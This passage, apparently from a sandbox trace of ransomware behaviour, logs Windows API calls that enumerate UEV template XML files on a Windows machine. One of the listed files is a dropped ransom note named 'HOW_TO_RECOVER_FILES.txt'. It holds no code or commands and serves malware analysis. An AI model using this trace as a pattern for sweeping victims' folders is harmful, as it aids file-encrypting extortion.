cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1 [0146.291] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win32.xml", cAlternateFileName="")) returned 1 [0146.292] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Win64.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin32.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016BackupWin64.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win32.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x100c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2016Win64.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin32.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x506, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2013CAWin64.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin32.xml", cAlternateFileName="")) returned 1 [0146.293] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x509, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOutlook2016CAWin64.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win32.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftSkypeForBusiness2016Win64.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftWordpad.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x85f, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkPrinters.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RoamingCredentialSettings.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ThemeSettings2013.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="VdiState.xml", cAlternateFileName="")) returned 1 [0146.294] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0146.295] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0146.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0146.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0146.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0146.295] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates", lpFilePart=0x0) returned 0x2f [0146.295] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0146.295] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.295] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x4771, dwReserved0=0x0, dwReserved1=0x0, cFileName="DesktopSettings2013.xml", cAlternateFileName="")) returned 1 [0146.295] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x173d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EaseOfAccessSettings2013.xml", cAlternateFileName="")) returned 1 [0146.295] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e3b99ea, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2e3b99ea, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2e3b99ea, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0146.296] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a75c14, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a75c14, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc27, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013.xml", cAlternateFileName="")) returned 1 [0146.296] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79ac20de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79ac20de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftInternetExplorer2013Backup.xml", cAlternateFileName="")) returned 1 [0146.296] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2010.xml", cAlternateFileName="")) returned 1 [0146.296] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win32.xml", cAlternateFileName="")) returned 1 [0146.296] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb31, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftLync2013Win64.xml", cAlternateFileName="")) returned 1 [0146.296] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x79a9be83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x79a9be83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftNotepad.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win32.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x11c51, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2010Win64.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin32.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a75c14, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x3368, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013BackupWin64.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf88ddb5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf88ddb5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win32.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ac20de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf867b6e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf867b6e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2964, dwReserved0=0x0, dwReserved1=0x0, cFileName="MicrosoftOffice2013Office365Win64.xml", cAlternateFileName="")) returned 1 [0146.297] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a9be83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xdf841903, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdf841903, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x10b0f, dwReserved0=0x0, dwReserved1=0x0, 